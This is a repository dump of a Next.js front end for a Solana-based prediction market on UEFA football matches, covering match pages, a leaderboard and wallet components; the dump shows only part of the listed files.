Repository: ProofOfEstimate/uefa-poe
Branch: main
Commit: c5c6e7817568
Files: 75
Total size: 240.2 KB

Directory structure:
gitextract_cllvgxn0/

├── .eslintrc.json
├── .gitignore
├── README.md
├── app/
│   ├── layout.tsx
│   ├── leaderboard/
│   │   └── page.tsx
│   ├── match/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── page.tsx
│   └── providers.tsx
├── components/
│   ├── TableRow.tsx
│   ├── connect-wallet-button.tsx
│   ├── dark-mode-toggle.tsx
│   ├── footer.tsx
│   ├── market-stats.tsx
│   ├── match-card.tsx
│   ├── match-day.tsx
│   ├── nav-bar.tsx
│   ├── quick-tour-dialog.tsx
│   ├── sidenav.tsx
│   └── ui/
│       ├── avatar.tsx
│       ├── badge.tsx
│       ├── button.tsx
│       ├── card.tsx
│       ├── carousel.tsx
│       ├── dialog.tsx
│       ├── dropdown-menu.tsx
│       ├── input.tsx
│       ├── separator.tsx
│       ├── skeleton.tsx
│       ├── slider.tsx
│       ├── table.tsx
│       ├── tabs.tsx
│       ├── theme-provider.tsx
│       ├── toast.tsx
│       ├── toaster.tsx
│       ├── tooltip.tsx
│       └── use-toast.ts
├── components.json
├── contexts/
│   ├── AutoConnectProvider.tsx
│   ├── ContextProvider.tsx
│   └── NetworkConfigurationProvider.tsx
├── errors/
│   ├── NoUserAccountError.ts
│   └── WalletNotConnectedError.ts
├── hooks/
│   ├── mutations/
│   │   ├── useAirdropSol.tsx
│   │   ├── useCollectPoints.ts
│   │   ├── useMakeEstimate.tsx
│   │   ├── useRegisterUser.tsx
│   │   └── useUpdateEstimate.ts
│   ├── queries/
│   │   ├── useAllPolls.ts
│   │   ├── useAllPollsByUser.ts
│   │   ├── useAllUserAccounts.ts
│   │   ├── useAllUserPredictions.ts
│   │   ├── useEstimateUpdatesByPoll.ts
│   │   ├── usePollById.ts
│   │   ├── useUserAccount.ts
│   │   ├── useUserBonkBalance.ts
│   │   ├── useUserEstimateByPoll.ts
│   │   ├── useUserScore.ts
│   │   └── useUserSolBalance.ts
│   ├── states/
│   │   └── useTabStore.tsx
│   ├── useAnchorProgram.tsx
│   └── useIntersectionObserver.tsx
├── idl/
│   ├── poe.json
│   └── poe.ts
├── lib/
│   ├── dummyData.ts
│   ├── types.ts
│   └── utils.ts
├── next.config.js
├── next.config.mjs
├── package.json
├── postcss.config.mjs
├── styles/
│   └── globals.css
├── tailwind.config.ts
├── texts/
│   └── toastTitles.ts
├── tsconfig.json
└── utils/
    └── sendVersionedTransaction.ts

================================================
FILE CONTENTS
================================================

================================================
FILE: .eslintrc.json
================================================
{
  "extends": "next/core-web-vitals"
}


================================================
FILE: .gitignore
================================================
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.

# dependencies
/node_modules
/.pnp
.pnp.js
.yarn/install-state.gz

# testing
/coverage

# next.js
/.next/
/out/

# production
/build

# misc
.DS_Store
*.pem

# debug
npm-debug.log*
yarn-debug.log*
yarn-error.log*

# local env files
.env*.local

# vercel
.vercel

# typescript
*.tsbuildinfo
next-env.d.ts


================================================
FILE: README.md
================================================
This is a [Next.js](https://nextjs.org/) project bootstrapped with [`create-next-app`](https://github.com/vercel/next.js/tree/canary/packages/create-next-app).

## Getting Started

First, run the development server:

```bash
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
```

Open [http://localhost:3000](http://localhost:3000) with your browser to see the result.

You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file.

This project uses [`next/font`](https://nextjs.org/docs/basic-features/font-optimization) to automatically optimize and load Inter, a custom Google Font.

## Learn More

To learn more about Next.js, take a look at the following resources:

- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API.
- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial.

You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js/) - your feedback and contributions are welcome!

## Deploy on Vercel

The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js.

Check out our [Next.js deployment documentation](https://nextjs.org/docs/deployment) for more details.


================================================
FILE: app/layout.tsx
================================================
import "@/styles/globals.css";
import { Inter as FontSans } from "next/font/google";

import { cn } from "@/lib/utils";
import { Separator } from "@/components/ui/separator";
import Providers from "./providers";
import { NavBar } from "@/components/nav-bar";
import { Footer } from "@/components/footer";

const fontSans = FontSans({
  subsets: ["latin"],
  variable: "--font-sans",
});

export default function RootLayout({
  children,
}: Readonly<{
  children: React.ReactNode;
}>) {
  return (
    <html lang="en" suppressHydrationWarning>
      <head />
      <body
        className={cn(
          "flex flex-col min-h-screen bg-background font-sans antialiased",
          fontSans.variable
        )}
      >
        <Providers>
          <NavBar />
          <Separator />
          {children}
        </Providers>
        <Footer />
      </body>
    </html>
  );
}


================================================
FILE: app/leaderboard/page.tsx
================================================
"use client";

import TableRow from "@/components/TableRow";
import { Skeleton } from "@/components/ui/skeleton";
import { useAllUserAccounts } from "@/hooks/queries/useAllUserAccounts";
import useAnchorProgram from "@/hooks/useAnchorProgram";
import { useWallet } from "@solana/wallet-adapter-react";
import React from "react";

const Leaderboard = () => {
  const program = useAnchorProgram();
  const { publicKey } = useWallet();
  const { data: userScores, isLoading: isScoresLoading } =
    useAllUserAccounts(program);

  const rank = userScores?.findIndex(
    (element) =>
      element.account.userAddress.toBase58() === publicKey?.toBase58()
  );

  const scores = userScores?.map((account, i) => {
    return {
      number: i + 1,
      name:
        account.account.userAddress.toBase58().slice(0, 4) +
        "..." +
        account.account.userAddress.toBase58().slice(-4),
      points: account.account.score.toFixed(2),
      isGold: i == 0,
      highlight: rank === i,
    };
  });

  return (
    <div className="h-full w-full min-h-screen flex items-center justify-center">
      <main className="w-[40rem] bg-white shadow-[0px_5px_15px_8px_#e4e7fb] flex flex-col items-center rounded-lg">
        <div
          id="header"
          className="w-full flex items-center justify-between p-10"
        >
          <h1 className="font-rubik text-[1.7rem] text-[#141a39] uppercase cursor-default">
            Ranking
          </h1>
        </div>
        <div id="leaderboard" className="w-full relative">
          <div className="w-full h-[5.5rem] bg-[#5c5be5] absolute top-[-0.5rem] shadow-[0px_15px_11px_-6px_#7a7a7d]">
            <div className="absolute bottom-[-0.8rem] left-[0.35rem] w-[1.5rem] h-[1.5rem] bg-[#5c5be5] rotate-45 z-[-1]"></div>
            <div className="absolute bottom-[-0.8rem] right-[0.35rem] w-[1.5rem] h-[1.5rem] bg-[#5c5be5] rotate-45 z-[-1]"></div>
          </div>
          {scores == undefined ? (
            <Skeleton />
          ) : (
            <table className="w-full border-collapse table-fixed text-[#141a39] cursor-default mb-20">
              {scores.map((row, index) => (
                <TableRow key={index} {...row} />
              ))}
            </table>
          )}
        </div>
      </main>
    </div>
  );
};

export default Leaderboard;


================================================
FILE: app/match/[id]/page.tsx
================================================
"use client";

import { Button } from "@/components/ui/button";
import useAnchorProgram from "@/hooks/useAnchorProgram";
import { allMatches } from "@/lib/dummyData";
import { useConnection, useWallet } from "@solana/wallet-adapter-react";
import { useRouter } from "next/navigation";
import { FaArrowLeftLong } from "react-icons/fa6";
import Image from "next/image";
import { Slider } from "@/components/ui/slider";
import {
  Area,
  Brush,
  CartesianGrid,
  ComposedChart,
  Line,
  ResponsiveContainer,
  Tooltip,
  XAxis,
  YAxis,
} from "recharts";
import { useEffect, useState } from "react";
import { usePollById } from "@/hooks/queries/usePollById";
import { Skeleton } from "@/components/ui/skeleton";
import { useUserEstimateByPoll } from "@/hooks/queries/useUserEstimateByPoll";
import clsx from "clsx";
import { TbLoader2 } from "react-icons/tb";
import { useMakeEstimate } from "@/hooks/mutations/useMakeEstimate";
import { useUpdateEstimate } from "@/hooks/mutations/useUpdateEstimate";
import { useCollectPoints } from "@/hooks/mutations/useCollectPoints";
import { useUserScore } from "@/hooks/queries/useUserScore";
import MarketStats from "@/components/market-stats";
import { useEstimateUpdatesByPoll } from "@/hooks/queries/useEstimateUpdatesByPoll";
import { Avatar, AvatarImage } from "@/components/ui/avatar";

const Match = ({ params }: { params: { id: string } }) => {
  const router = useRouter();
  const program = useAnchorProgram();
  const { connection } = useConnection();
  const wallet = useWallet();

  const matchId = Number.parseInt(params.id) - 1;
  const match = allMatches[matchId];

  const { data: poll, isLoading: isLoadingPoll } = usePollById(
    program,
    matchId,
    true
  );

  const { data: estimateUpdates } = useEstimateUpdatesByPoll(
    program,
    matchId,
    wallet.publicKey
  );

  const [brushStartIndex, setBrushStartIndex] = useState<number>();
  const [brushEndIndex, setBrushEndIndex] = useState<number>();

  const handleBrushChange = ({
    startIndex,
    endIndex,
  }: {
    startIndex?: number;
    endIndex?: number;
  }) => {
    setBrushStartIndex(startIndex);
    setBrushEndIndex(endIndex);
  };
  const {
    data: userEstimate,
    isError: isErrorEstimate,
    error: errorEstimate,
    isLoading: isLoadingEstimate,
  } = useUserEstimateByPoll(
    program,
    connection,
    wallet.publicKey,
    matchId,
    true
  );

  const [estimate, setEstimate] = useState(
    userEstimate !== null && userEstimate !== undefined
      ? (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2
      : undefined
  );

  const { mutate: submitEstimate, isPending: isSubmitting } = useMakeEstimate(
    program,
    connection,
    wallet
  );
  const { mutate: updateEstimate, isPending: isUpdating } = useUpdateEstimate(
    program,
    connection,
    wallet
  );
  const { mutate: collectPoints, isPending: isCollecting } = useCollectPoints(
    program,
    connection,
    wallet
  );

  const { data: userScore, isLoading: isLoadingScore } = useUserScore(
    program,
    connection,
    wallet.publicKey,
    matchId,
    true
  );

  useEffect(() => {
    if (userEstimate !== null && userEstimate !== undefined) {
      setEstimate(
        (userEstimate.lowerEstimate + userEstimate.upperEstimate) / 2
      );
    }
  }, [userEstimate]);

  const handleChange = (estimate: [number]) => {
    setEstimate(estimate[0]);
  };

  return (
    <main className="flex min-h-screen flex-col justify-start items-start px-4 sm:px-12 lg:px-16 py-4 sm:py-8 w-full">
      <Button
        onClick={() => router.back()}
        variant={"ghost"}
        className="p-0 hover:bg-transparent"
      >
        <FaArrowLeftLong />
      </Button>
      <div className="flex flex-col md:flex-row w-full gap-4">
        <div className="basis-2/3">
          <div className="text-lg font-medium mt-8">{match.date}</div>
          <div className="flex flex-col items-start gap-4 mt-2">
            <div className="flex items-center gap-4 w-60">
              <Image
                width={36}
                height={27}
                alt="Flag of team A"
                src={
                  match.logoA ? match.logoA : "https://via.placeholder.com/50"
                }
              />
              <div className="text-xl font-bold">{match.teamA}</div>
              <span className="text-lg font-bold ml-auto">{match.resultA}</span>
            </div>
            <div className="flex items-center gap-4 w-60">
              <Image
                width={36}
                height={27}
                alt="Flag of team B"
                src={
                  match.logoB ? match.logoB : "https://via.placeholder.com/50"
                }
              />
              <div className="text-xl font-bold">{match.teamB}</div>
              <span className="text-lg font-bold ml-auto">{match.resultB}</span>
            </div>
          </div>
          <div className="text-2xl font-bold mt-8">{`Will ${match.teamA} win against ${match.teamB}?`}</div>
          {/* {poll ? (
            <div className="text-2xl font-bold mt-8">{poll?.question}</div>
          ) : (
            <Skeleton />
          )} */}
          <div className="flex w-40 justify-between">
            <p className="block text-sm">Market Prediction:</p>
            <p className="text-sm font-bold">
              {poll && poll.collectiveEstimate !== null
                ? (poll.collectiveEstimate / 10000).toFixed(0) + "%"
                : "-"}
            </p>
          </div>
          <div className="flex w-40 justify-between">
            <p className="block text-sm">Your Prediction:</p>
            <p
              className={clsx(
                "text-sm font-bold",
                estimate !== userEstimate?.lowerEstimate
                  ? "dark:text-yellow-300"
                  : ""
              )}
            >
              {estimate !== undefined ? estimate + "%" : "-"}
            </p>
          </div>
          <div className="flex w-5/6 sm:w-1/2 md:w-2/3 gap-4 items-center my-4">
            <Slider
              className="hover:cursor-pointer"
              onValueChange={handleChange}
              value={[estimate !== undefined ? estimate : 50]}
              min={0}
              max={100}
              step={1}
              disabled={poll?.result !== null}
            />
            <Button
              variant={"secondary"}
              disabled={poll?.result !== null}
              size={"sm"}
              onClick={() => {
                if (userEstimate !== null && userEstimate !== undefined) {
                  setEstimate(
                    (userEstimate.lowerEstimate + userEstimate.upperEstimate) /
                      2
                  );
                } else {
                  setEstimate(undefined);
                }
              }}
            >
              Reset
            </Button>
          </div>
          {isLoadingPoll ? (
            <Skeleton className="w-40 h-9 rounded-md" />
          ) : poll?.result !== null ? (
            userScore === null || userScore === undefined || isLoadingScore ? (
              <div>
                {poll !== undefined ? (
                  poll.result ? (
                    <div className="text-primary font-bold">
                      {match.teamA} won!
                    </div>
                  ) : (
                    <div className="text-primary font-bold">
                      {match.teamA} did not win!
                    </div>
                  )
                ) : (
                  ""
                )}
              </div>
            ) : (
              <Button
                disabled={isCollecting}
                className="w-fit"
                onClick={() => collectPoints({ pollId: matchId })}
              >
                {isCollecting && (
                  <TbLoader2 className="mr-2 h-4 w-4 animate-spin" />
                )}
                Withdraw your funds
              </Button>
            )
          ) : userEstimate !== undefined && userEstimate !== null ? (
            <Button
              disabled={
                isUpdating ||
                (estimate === userEstimate.lowerEstimate &&
                  estimate === userEstimate.upperEstimate)
              }
              className="w-fit"
              onClick={() =>
                updateEstimate({
                  pollId: matchId,
                  lowerEstimate: estimate,
                  upperEstimate: estimate,
                })
              }
            >
              {isUpdating && (
                <TbLoader2 className="mr-2 h-4 w-4 animate-spin" />
              )}
              Update Estimate
            </Button>
          ) : (
            <div className="flex gap-4">
              <Button
                disabled={isSubmitting || estimate === undefined}
                className="font-bold rounded w-fit"
                onClick={() =>
                  submitEstimate({
                    pollId: matchId,
                    lowerEstimate: estimate,
                    upperEstimate: estimate,
                  })
                }
              >
                {isSubmitting && (
                  <TbLoader2 className="mr-2 h-4 w-4 animate-spin" />
                )}
                Bet 100 BONK
              </Button>
              <Avatar>
                <AvatarImage src={"/bonk_poe.png"} />
              </Avatar>
            </div>
          )}
        </div>
        <MarketStats
          matchId={matchId}
          profitScore={
            poll?.result !== null &&
            userEstimate !== null &&
            userEstimate !== undefined &&
            userEstimate.payoutScore
              ? ((userEstimate.payoutScore - 1) * 100).toFixed(2)
              : ""
          }
          reputationScore={
            poll?.result !== null &&
            userEstimate !== null &&
            userEstimate !== undefined &&
            userEstimate.reputationScore
              ? userEstimate.reputationScore?.toFixed(2)
              : ""
          }
        />
      </div>
      <div className="w-full border rounded-lg p-8 mt-8">
        <ResponsiveContainer width="100%" height={400}>
          <ComposedChart data={estimateUpdates}>
            <CartesianGrid strokeDasharray="3 3" />
            <XAxis
              dataKey="name"
              type="number"
              domain={[]}
              tickFormatter={(number) =>
                new Date(number * 1000).toLocaleString()
              }
              tickCount={10}
            />
            <YAxis />
            <Tooltip
              contentStyle={{
                backgroundColor: "hsl(var(--primary))",
              }}
              itemStyle={{ color: "hsl(var(--primary-foreground))" }}
              labelStyle={{ color: "hsl(var(--primary-foreground))" }}
              formatter={(value, name, prop) => {
                switch (name) {
                  case "confidenceInterval":
                    return [undefined, undefined];
                  case "estimate":
                    const interval =
                      prop.payload.confidenceInterval[1] -
                      prop.payload.confidenceInterval[0];
                    return [
                      Number(value).toFixed(2) +
                        "%  ± " +
                        (interval / 2).toFixed(1) +
                        "%",
                      "Market Prediction",
                    ];

                  default:
                    return [undefined, undefined];
                }
              }}
              labelFormatter={(label) =>
                new Date(label * 1000).toLocaleString()
              }
            />

            <Area
              type="monotone"
              dataKey="confidenceInterval"
              fill="hsl(var(--primary))"
              opacity={0.2}
              stroke="#ffffff00"
              activeDot={false}
              isAnimationActive={false}
            />
            <Line
              dot={false}
              type="linear"
              dataKey="estimate"
              stroke="hsl(var(--primary))"
              isAnimationActive={false}
            />
            <Brush
              dataKey="name"
              height={30}
              stroke="#8884d8"
              onChange={handleBrushChange}
              startIndex={brushStartIndex}
              endIndex={brushEndIndex}
              tickFormatter={(number) =>
                new Date(number * 1000).toLocaleString()
              }
            />
          </ComposedChart>
        </ResponsiveContainer>
      </div>
      <div className="mt-16 text-xl font-bold">Details</div>
      <div className="pt-4 pb-16 text-lg w-full sm:w-5/6 md:w-1/2">
        This market will resolve to true if {match.teamA} wins against{" "}
        {match.teamB}. In any other case, e.g. a draw, {match.teamB} wins or the
        game is canceled, this market will resolve to false.
      </div>
    </main>
  );
};

export default Match;


================================================
FILE: app/page.tsx
================================================
"use client";
import { MatchCard } from "@/components/match-card";
import { MatchDay } from "@/components/match-day";
import QuickTourDialog from "@/components/quick-tour-dialog";
import SideNav from "@/components/sidenav";
import { Button } from "@/components/ui/button";
import { Skeleton } from "@/components/ui/skeleton";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { useRegisterUser } from "@/hooks/mutations/useRegisterUser";
import { useAllPolls } from "@/hooks/queries/useAllPolls";
import { useUserAccount } from "@/hooks/queries/useUserAccount";
import { useTabsStore } from "@/hooks/states/useTabStore";
import useAnchorProgram from "@/hooks/useAnchorProgram";
import {
  matchesFirstMatchDay,
  matchesSecondMatchday,
  matchesThirdMatchday,
  matchesRound16,
  matchesQuarterFinals,
  matchesSemiFinals,
  matchesFinal,
  allMatches,
} from "@/lib/dummyData";
import { ChevronDownIcon } from "@radix-ui/react-icons";
import { useConnection, useWallet } from "@solana/wallet-adapter-react";
import { useEffect, useState } from "react";
import { FaChevronUp } from "react-icons/fa6";

export default function App() {
  const program = useAnchorProgram();
  const { connection } = useConnection();
  const wallet = useWallet();

  const { data: userAccount, isLoading: isScoreLoading } = useUserAccount(
    program,
    connection,
    wallet.publicKey
  );

  const { data: allPolls, isLoading: isAllPollsLoading } = useAllPolls(program);

  // const nextMarketIndex = allPolls?.filter((p) => {
  //   return p.result !== null;
  // }).length;

  // const comingMatches = allMatches.filter((match) => {
  //   const index = nextMarketIndex ?? 0;
  //   return Number.parseInt(match.id) - 1 > index;
  // });

  const [isVisible, setIsVisible] = useState(false);

  const tab = useTabsStore((state) => state.tab);
  const setTab = useTabsStore((state) => state.setTab);

  useEffect(() => {
    const handleScroll = () => {
      setIsVisible(window.scrollY > 1000);
    };

    window.addEventListener("scroll", handleScroll);

    return () => {
      window.removeEventListener("scroll", handleScroll);
    };
  }, []);

  const { mutate: registerUser } = useRegisterUser(program, connection, wallet);
  return (
    <div className="flex">
      <aside className="hidden md:block md:min-w-20 md:w-1/5">
        <SideNav />
      </aside>
      <main className="flex w-full min-h-screen flex-col items-center justify-between p-4 sm:p-12">
        <div className="block sm:hidden mb-2">
          <QuickTourDialog />
          {wallet.publicKey && userAccount === null && !isScoreLoading && (
            <Button className="sm:hidden ml-4" onClick={() => registerUser()}>
              Mint BONK
            </Button>
          )}
        </div>

        {/* <div className="text-4xl font-bold mb-4">Next Match</div> */}

        {/* {nextMarketIndex ? (
          <MatchCard match={allMatches[nextMarketIndex]} />
        ) : (
          <Skeleton className="h-[350px] w-[400px] rounded-xl" />
        )} */}
        <AllMatches />
        {/* <Tabs
          value={tab}
          onValueChange={setTab}
          className="w-full mx-auto my-8 text-center"
        >
          <TabsList>
            <TabsTrigger value="all">All Matches</TabsTrigger>
            <TabsTrigger value="coming">Coming Matches</TabsTrigger>
          </TabsList>
          <TabsContent value="all">
            <AllMatches />
          </TabsContent>
          <TabsContent value="coming">
            <MatchDay
              id="coming"
              title="Coming Matches"
              matches={comingMatches}
            />
          </TabsContent>
        </Tabs> */}
      </main>
      {isVisible && (
        <aside className="right-8 bottom-16 fixed">
          <Button
            variant="outline"
            size="icon"
            onClick={() => {
              window.scrollTo({
                top: 0,
                behavior: "smooth",
              });
            }}
          >
            <FaChevronUp />
          </Button>
        </aside>
      )}

      {wallet.publicKey && userAccount === null && !isScoreLoading && (
        <aside className="hidden sm:block right-4 pt-8 fixed">
          <Button onClick={() => registerUser()}>Mint BONK</Button>
        </aside>
      )}
    </div>
  );
}

const AllMatches = () => {
  return (
    <>
      <MatchDay
        id="matchday1"
        title="Matchday 1"
        matches={matchesFirstMatchDay}
      />
      <MatchDay
        id="matchday2"
        title="Matchday 2"
        matches={matchesSecondMatchday}
      />
      <MatchDay
        id="matchday3"
        title="Matchday 3"
        matches={matchesThirdMatchday}
      />
      <MatchDay id="round16" title="Round of 16" matches={matchesRound16} />
      <MatchDay
        id="quarter"
        title="Quarter Finals"
        matches={matchesQuarterFinals}
      />
      <MatchDay id="semi" title="Semi Finals" matches={matchesSemiFinals} />
      <MatchDay id="final" title="Final" matches={matchesFinal} />
    </>
  );
};


================================================
FILE: app/providers.tsx
================================================
"use client";

import { ThemeProvider } from "@/components/ui/theme-provider";
import { ContextProvider } from "@/contexts/ContextProvider";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { ReactQueryDevtools } from "@tanstack/react-query-devtools";
import { useState } from "react";

export default function Providers({ children }: { children: React.ReactNode }) {
  const [queryClient] = useState(
    () =>
      new QueryClient({
        defaultOptions: {
          queries: {
            // With SSR, we usually want to set some default staleTime
            // above 0 to avoid refetching immediately on the client
            staleTime: 60 * 1000,
          },
        },
      })
  );

  return (
    <ContextProvider>
      <ThemeProvider
        attribute="class"
        defaultTheme="system"
        enableSystem
        disableTransitionOnChange
      >
        <QueryClientProvider client={queryClient}>
          {children}
          <ReactQueryDevtools initialIsOpen={false} />
        </QueryClientProvider>
      </ThemeProvider>
    </ContextProvider>
  );
}


================================================
FILE: components/TableRow.tsx
================================================
import { cn } from "@/lib/utils";
import Image from "next/image";
import React from "react";

interface TableRowProps {
  number: number;
  name: string;
  points: string;
  isGold?: boolean;
  highlight: boolean;
}

const TableRow: React.FC<TableRowProps> = ({
  number,
  name,
  points,
  isGold,
  highlight,
}) => {
  const hoverClasses =
    highlight && number !== 1
      ? "sm:scale-110 shadow-[0px_5px_15px_8px_#e4e7fb] !bg-yellow-300 "
      : "";

  return (
    <tr
      className={cn(
        "bg-white odd:bg-gray-100 transition-all duration-200 ease-in-out rounded-md",
        hoverClasses
      )}
    >
      <td className="h-[5rem] font-rubik text-[2.2rem] font-bold text-left">
        {number}
      </td>
      <td className="h-[5rem] font-rubik text-[1.2rem] text-left">{name}</td>
      <td className="h-[5rem] font-rubik text-[1.3rem] font-bold flex justify-end items-center">
        {points}
        {isGold && (
          <Image
            width={50}
            height={50}
            className="h-[3rem] ml-[1.5rem] hidden sm:block"
            src="https://github.com/malunaridev/Challenges-iCodeThis/blob/master/4-leaderboard/assets/gold-medal.png?raw=true"
            alt="gold medal"
          />
        )}
      </td>
    </tr>
  );
};

export default TableRow;


================================================
FILE: components/connect-wallet-button.tsx
================================================
"use client";

import { Button } from "./ui/button";
import {
  DropdownMenu,
  DropdownMenuContent,
  DropdownMenuGroup,
  DropdownMenuItem,
  DropdownMenuSeparator,
  DropdownMenuTrigger,
} from "./ui/dropdown-menu";
import {
  useAnchorWallet,
  useConnection,
  useWallet,
} from "@solana/wallet-adapter-react";
import { useWalletModal } from "@solana/wallet-adapter-react-ui";
import { RiArrowDropDownLine } from "react-icons/ri";
import { TbCopy } from "react-icons/tb";
import { toast } from "./ui/use-toast";
import {
  Tooltip,
  TooltipContent,
  TooltipProvider,
  TooltipTrigger,
} from "./ui/tooltip";
import useAnchorProgram from "@/hooks/useAnchorProgram";
import { Skeleton } from "./ui/skeleton";
import { useUserAccount } from "@/hooks/queries/useUserAccount";
import { useUserSolBalance } from "@/hooks/queries/useUserSolBalance";
import { FaWallet } from "react-icons/fa";
import { useUserBonkBalance } from "@/hooks/queries/useUserBonkBalance";
import { useRegisterUser } from "@/hooks/mutations/useRegisterUser";
import { useAllUserAccounts } from "@/hooks/queries/useAllUserAccounts";
import { useAirdropSol } from "@/hooks/mutations/useAirdropSol";

const ConnectWalletButton = () => {
  const wallet = useWallet();
  const anchorWallet = useAnchorWallet();
  const { disconnect, connected, publicKey } = useWallet();
  const program = useAnchorProgram();
  const { connection } = useConnection();
  const { setVisible } = useWalletModal();

  const { data: userAccount, isLoading: isAccountLoading } = useUserAccount(
    program,
    connection,
    publicKey
  );

  const { data: allScores, isLoading: isScoresLoading } =
    useAllUserAccounts(program);

  const rank = allScores?.findIndex(
    (element) =>
      element.account.userAddress.toBase58() === wallet.publicKey?.toBase58()
  );

  const { data: solBalance, isLoading: isSolBalanceLoading } =
    useUserSolBalance(connection, wallet?.publicKey ?? null);

  const { data: bonkBalance, isLoading: isBonkBalanceLoading } =
    useUserBonkBalance(program, connection, wallet?.publicKey ?? null);

  const { mutate: registerUser, isPending: isMintingBonkPending } =
    useRegisterUser(program, connection, wallet);

  const { mutate: airdropSol, isPending: isAirdropPending } = useAirdropSol(
    connection,
    wallet
  );

  if (!connected) {
    return (
      <Button
        onClick={() => {
          setVisible(true);
        }}
      >
        <div className="flex gap-2 items-center">
          <FaWallet />
          <div className="hidden sm:block">Connect wallet</div>
        </div>
      </Button>
    );
  }

  return (
    <DropdownMenu>
      <DropdownMenuTrigger asChild>
        <Button>
          <div className="flex gap-2 items-center">
            <FaWallet className="sm:hidden" />
            <div className="hidden sm:block">Connected</div>
          </div>
          <RiArrowDropDownLine className="text-xl ml-2" />
        </Button>
      </DropdownMenuTrigger>
      <DropdownMenuContent className="w-56" align="end" forceMount>
        <DropdownMenuItem className="font-normal">
          {anchorWallet && (
            <TooltipProvider delayDuration={200}>
              <Tooltip>
                <TooltipTrigger>
                  <div
                    className="flex"
                    onClick={() => {
                      navigator.clipboard.writeText(
                        anchorWallet.publicKey?.toBase58() ?? ""
                      );
                      toast({ variant: "default", title: "Copied!" });
                    }}
                  >
                    <div>
                      {anchorWallet?.publicKey?.toBase58().slice(0, 4) +
                        "..." +
                        anchorWallet?.publicKey?.toBase58().slice(-4)}
                    </div>
                    <TbCopy className="ml-2" />
                  </div>
                </TooltipTrigger>
                <TooltipContent side="left">
                  <div>{wallet?.publicKey?.toBase58()}</div>
                </TooltipContent>
              </Tooltip>
            </TooltipProvider>
          )}
        </DropdownMenuItem>

        <DropdownMenuSeparator />
        <DropdownMenuGroup>
          <div className="border rounded-md py-2 px-1 my-2">
            <div className="flex flex-col mx-2 gap-2 text-sm">
              <div className="flex items-center justify-between">
                <div>Score:</div>
                {!isAccountLoading ? (
                  userAccount ? (
                    <div>{userAccount.score.toFixed(2)}</div>
                  ) : (
                    <div>100.0</div>
                  )
                ) : (
                  <Skeleton className="w-6 h-4 rounded-md" />
                )}
              </div>
              <div className="flex items-center justify-between">
                <div>Rank:</div>
                {!isScoresLoading ? (
                  rank !== undefined ? (
                    <div>{rank + 1}</div>
                  ) : (
                    <div>-</div>
                  )
                ) : (
                  <Skeleton className="w-6 h-4 rounded-md" />
                )}
              </div>
              <div className="flex items-center justify-between">
                <div>Bonk Balance:</div>
                {userAccount === null && !isAccountLoading ? (
                  <Button
                    size={"xs"}
                    disabled={isMintingBonkPending}
                    onClick={() => registerUser()}
                    className="flex text-center justify-center text-xs"
                  >
                    Mint
                  </Button>
                ) : !isBonkBalanceLoading ? (
                  <div>{bonkBalance?.toFixed(2)}</div>
                ) : (
                  <Skeleton className="w-6 h-4 rounded-md" />
                )}
              </div>
              <div className="flex items-center justify-between">
                <div>Sol Balance:</div>
                {solBalance !== undefined ? (
                  solBalance > 0.01 ? (
                    <div>{solBalance?.toFixed(2)}</div>
                  ) : (
                    <Button
                      size={"xs"}
                      disabled={isAirdropPending}
                      onClick={() => airdropSol()}
                      className="flex text-center justify-center text-xs"
                    >
                      Mint Sol
                    </Button>
                  )
                ) : (
                  <Skeleton className="w-6 h-4 rounded-md" />
                )}
              </div>
            </div>
          </div>
        </DropdownMenuGroup>
        {wallet && (
          <>
            <DropdownMenuSeparator />
            <DropdownMenuItem
              onClick={disconnect}
              className="hover:cursor-pointer"
            >
              Disconnect
            </DropdownMenuItem>
          </>
        )}
      </DropdownMenuContent>
    </DropdownMenu>
  );
};

export default ConnectWalletButton;


================================================
FILE: components/dark-mode-toggle.tsx
================================================
"use client";

import * as React from "react";
import { useTheme } from "next-themes";

import { Button } from "@/components/ui/button";
import {
  DropdownMenu,
  DropdownMenuContent,
  DropdownMenuItem,
  DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { RxMoon, RxSun } from "react-icons/rx";

export function DarkModeToggle() {
  const { setTheme, theme } = useTheme();

  console.log("Theme", theme);

  return (
    <DropdownMenu>
      <DropdownMenuTrigger asChild>
        <Button variant="outline" size="icon">
          <RxSun className="h-[1.2rem] w-[1.2rem] rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0" />
          <RxMoon className="absolute h-[1.2rem] w-[1.2rem] rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100" />
          <span className="sr-only">Toggle theme</span>
        </Button>
      </DropdownMenuTrigger>
      <DropdownMenuContent align="end">
        <DropdownMenuItem onClick={() => setTheme("light")}>
          Light
        </DropdownMenuItem>
        <DropdownMenuItem onClick={() => setTheme("dark")}>
          Dark
        </DropdownMenuItem>
        <DropdownMenuItem onClick={() => setTheme("system")}>
          System
        </DropdownMenuItem>
      </DropdownMenuContent>
    </DropdownMenu>
  );
}


================================================
FILE: components/footer.tsx
================================================
import Link from "next/link";
import { FaTelegramPlane } from "react-icons/fa";
import { FaDiscord, FaXTwitter } from "react-icons/fa6";

export const Footer = () => {
  return (
    <footer className="bg-gray-800 text-white py-2 bottom-0 w-full">
      <div className="flex justify-center space-x-8">
        <Link
          target="_blank"
          rel="noopener noreferrer"
          href={"https://discord.gg/HNxstUVC"}
        >
          <FaDiscord size={40} />
        </Link>
        <Link
          target="_blank"
          rel="noopener noreferrer"
          href={"https://twitter.com/ProofOfEstimate"}
        >
          <FaXTwitter size={40} />
        </Link>
        <Link
          target="_blank"
          rel="noopener noreferrer"
          href={"https://t.me/+19Jfbq7Pl1phNWIy"}
        >
          <FaTelegramPlane size={40} />
        </Link>
      </div>
      <div className="text-center text-sm">
        &copy; {new Date().getFullYear()} Poe. All rights reserved.
      </div>
    </footer>
  );
};


================================================
